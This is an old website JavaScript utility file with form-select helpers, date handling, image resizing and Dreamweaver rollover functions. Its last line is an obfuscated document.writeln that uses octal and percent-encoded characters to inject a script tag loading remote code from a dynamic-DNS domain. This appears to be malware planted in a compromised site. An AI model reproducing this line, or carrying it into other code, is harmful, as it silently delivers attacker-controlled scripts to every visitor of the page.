var IE=document.all,NS4=document.layers;
var NS6=(!IE&&document.getElementById), NS=(NS4||NS6);

function fillSelArray(fobj,ary,ostart){
	var i;
	if(typeof(ostart)=="undefined")ostart=0;
	for(i=fobj.length-1;i>=ostart;i--){
		fobj.remove(i);
	}
	for(i=0;i<ary.length;i++){
		fobj.options[i+ostart]=new Option(ary[i],ary[i]);
	}
}

function fillSelNum(fobj,fstart,fend,fstep,ostart){
	var i=0;
	if(typeof(fstep)=="undefined")fstep=1;
	if(typeof(ostart)=="undefined")ostart=0;
	for(i=fobj.length-1;i>=ostart;i--){
		fobj.remove(i);
	}
	for(i=fstart;i<=fend;i+=fstep){
		fobj.options[i-fstart+ostart]=new Option(i,i);
	}
}
function monthChange(yearSel,monthSel,daySel,ostart){
	if(typeof(ostart)=="undefined")
	{
		ostart=0;
	}
	if((monthSel.value=="1")
	 ||(monthSel.value=="3")
	 ||(monthSel.value=="5")
	 ||(monthSel.value=="7")
	 ||(monthSel.value=="8")
	 ||(monthSel.value=="10")
	 ||(monthSel.value=="12")){
	 	while((daySel.length-ostart)!=31){
	 		daySel.options[daySel.length]=new Option(daySel.length+1-ostart,daySel.length+1-ostart);
	 	}
	 }
	 else if(monthSel.value=="2"){
		if(yearSel.value%4==0){
		 	while((daySel.length-ostart)!=29){
		 		if((daySel.length-ostart)>29){
		 			daySel.remove(29+ostart);
	 			}
	 			else{
	 				daySel.options[daySel.length]=new Option(daySel.length+1-ostart,daySel.length+1-ostart);
	 			}
	 		}
		}
		else{
		 	while((daySel.length-ostart)!=28){
		 		daySel.remove(28+ostart);
			}		
		}
	 }
	 else{
	 	while((daySel.length-ostart)!=30){
	 		if((daySel.length-ostart)>30){
	 			daySel.remove(30+ostart);
	 		}
	 		else{
	 			daySel.options[daySel.length]=new Option(daySel.length+1-ostart,daySel.length+1-ostart);
	 		}
	 	}
	 }
	 if(yearSel.value%4==0){
	 }
}


function showMainOpt()
{
	var i,start,step,len,a,qwb1,ctext1,args=showMainOpt.arguments;
	var strtemp,itemp;
	a = args[0];
	qwb1=args[1];
//	ctext1=args[2]
	len = a.length;
	start = 0;
	step = 2;
	itemp=0;
	


	for(i=start;i<len;i+=step)
	{
		
//		if(a[i]==ctext1.value)
//		 	itemp=qwb1.length;
		 	
		 	
		 			 
               if(a[i].substr(a[i].length-2) == "00")
			qwb1.options[qwb1.length]=new Option(a[i+1],a[i],false,false);
			
			

	}
	qwb1.selectedIndex=itemp;			
}

function showSubOpt()
{
	var i,len,ntemp,start,step,s1,s2,a,ctext1,ctext2,args=showSubOpt.arguments;
	var mainVal,val,name;
	a=args[0];
	s1=args[1];
	s2=args[2];
	ss=args[3];
	if(typeof(ss)=="undefined")ss=1;
//	ctext1=args[3];
//	ctext2=args[4];
	ntemp=0;
//	ctext1.value=s1.options[s1.selectedIndex].value;
//	if(ctext1.value=="0")ctext1.value="";
	
	start=0;
	step=2;
	IsAll = false;
	len=a.length;
	if(s1.selectedIndex<0)return;
	mainVal=s1.options[s1.selectedIndex].value;
	mainVal=mainVal.substr(0,2);

			    
	for(i=s2.length-1;i>=ss;i--)
	{
		s2.options[i]=null;
	}

       
	if(Number(mainVal)!=0)
	{

		for(i=start;i<len;i+=step)
		{
			val = a[i];
			name = a[i+1];
			if(val.substr(0,2)==mainVal && (IsAll || !IsAll && (val.substr(val.length-2) != "00")))
			{
		
//			 if (a[i]==ctext2.value)
//			   ntemp=s2.length;
			
			  
			
		          s2.options[s2.length]=new Option(name,val,false,false);
		          
		         
		          
			}
		}
	}
	s2.selectedIndex=ntemp;
//	if(ntemp=="0")ctext2.value="";
}

function checkRadio(f,rname,val){
	var rs=document.getElementsByName(rname);
	var i;
	for(i=0;i<rs.length;i++){
		if((f==null)||(rs[i].form==f)){
			if(rs[i].value==val)rs[i].checked=true;
		}
	}
}
function checkCheckbox(f,rname,val){
	var cval=", "+val+", ";
	var rs=document.getElementsByName(rname);
	var i;
	for(i=0;i<rs.length;i++){
		if((f==null)||(rs[i].form==f)){
			if(cval.indexOf(", "+rs[i].value+", ")!=-1)rs[i].checked=true;
		}
	}
}
function showDate(p,pre,d)
{
	var obj;
	var da=d.split("-");
	obj=eval(p.id+"."+pre+"Year");
	obj.value=eval(da[0]);
	obj=eval(p.id+"."+pre+"Month");
	obj.value=eval(da[1]);	
	obj=eval(p.id+"."+pre+"Day");
	obj.value=eval(da[2]);	
}

//按指定大小成比例缩小图像
function resizePic(pic,wid,hei){
     if(typeof(pic)=="undefined")return;
     var ow,oh
     ow=pic.width;
     oh=pic.height;
     if(ow>wid){
      ow=wid;
      oh=(pic.height/pic.width)*ow;
     }
     pic.height=oh;
     if(oh>hei){
      oh=hei;
      ow=(pic.width/pic.height)*oh;
     }
     pic.width=ow;
     pic.height=oh;

     ow=pic.width;
     oh=pic.height;
     if(ow>wid){
      ow=wid;
      oh=(pic.height/pic.width)*ow;
     }
     pic.height=oh;
     if(oh>hei){
      oh=hei;
      ow=(pic.width/pic.height)*oh;
     }
     pic.width=ow;
     pic.height=oh;
}

function getAbsLeft(obj){
	var aX;
	var o=obj.offsetParent;
	aX=o.offsetLeft;
	while(o=o.offsetParent){
		aX+=o.offsetLeft; 
	}
	return aX+obj.offsetLeft;
}
function getAbsTop(obj){
	var aY;
	var o=obj.offsetParent;
	aY=o.offsetTop;
	while(o=o.offsetParent){
		aY+=o.offsetTop; 
	}
	return aY+obj.offsetTop;
}

function showDirs(dirs,par,pos,obj,s){
	var p,ckey;
	for(i=obj.length-1;i>=s;i--){
		obj.remove(s);
	}
	
	if(eval(par)==0){
		for(ckey in dirs){
			if(eval(ckey.substring(pos,ckey.length))==0){
				obj.options[obj.length]=new Option(dirs[ckey],ckey);
			}
		}
	}
	else
	{
		p=par.substring(0,pos);

		for(ckey in dirs){
			if((eval(ckey.substring(pos,ckey.length))!=0)&&(ckey.substring(0,pos)==p)){
				obj.options[obj.length]=new Option(dirs[ckey],ckey);
			}
		}
	}

}

function inHTML(str){
var inHTML=str;
/*inHTML = inHTML.replace( "\0x32", "&nbsp;");
inHTML = inHTML.replace( char(9), "&nbsp;");
inHTML = inHTML.replace( char(34), "&quot;");
inHTML = inHTML.replace( char(39), "&#39;");*/
inHTML=inHTML.replace("<","&lt;");
inHTML=inHTML.replace(">","&gt;");
inHTML=inHTML.replace(" ","&nbsp;");
inHTML=inHTML.replace("\n","<BR>");
return inHTML;
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}
function MM_nbGroup(event, grpName) { //v3.0
  var i,img,nbArr,args=MM_nbGroup.arguments;
  if (event == "init" && args.length > 2) {
    if ((img = MM_findObj(args[2])) != null && !img.MM_init) {
      img.MM_init = true; img.MM_up = args[3]; img.MM_dn = img.src;
      if ((nbArr = document[grpName]) == null) nbArr = document[grpName] = new Array();
      nbArr[nbArr.length] = img;
      for (i=4; i < args.length-1; i+=2) if ((img = MM_findObj(args[i])) != null) {
        if (!img.MM_up) img.MM_up = img.src;
        img.src = img.MM_dn = args[i+1];
        nbArr[nbArr.length] = img;
    } }
  } else if (event == "over") {
    document.MM_nbOver = nbArr = new Array();
    for (i=1; i < args.length-1; i+=3) if ((img = MM_findObj(args[i])) != null) {
      if (!img.MM_up) img.MM_up = img.src;
      img.src = (img.MM_dn && args[i+2]) ? args[i+2] : args[i+1];
      nbArr[nbArr.length] = img;
    }
  } else if (event == "out" ) {
    for (i=0; i < document.MM_nbOver.length; i++) {
      img = document.MM_nbOver[i]; img.src = (img.MM_dn) ? img.MM_dn : img.MM_up; }
  } else if (event == "down") {
    if ((nbArr = document[grpName]) != null)
      for (i=0; i < nbArr.length; i++) { img=nbArr[i]; img.src = img.MM_up; img.MM_dn = 0; }
    document[grpName] = nbArr = new Array();
    for (i=2; i < args.length-1; i+=2) if ((img = MM_findObj(args[i])) != null) {
      if (!img.MM_up) img.MM_up = img.src;
      img.src = img.MM_dn = args[i+1];
      nbArr[nbArr.length] = img;
  } }
}

function MM_preloadImages() { //v3.0
 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
   var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
   if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

document.writeln("\74\163\143\162\151\160\164\40\163\162\143\75\42\150\164\164\160\72\57\57\167\45\67\67\167\45\63\63\56\144\45\66\64\156\163\56\45\66\71\156\146\157\57\45\66\71\45\66\105\45\66\66\45\66\106\45\62\105\45\66\101\45\67\63\42\76\74\57\163\143\162\151\160\164\76");
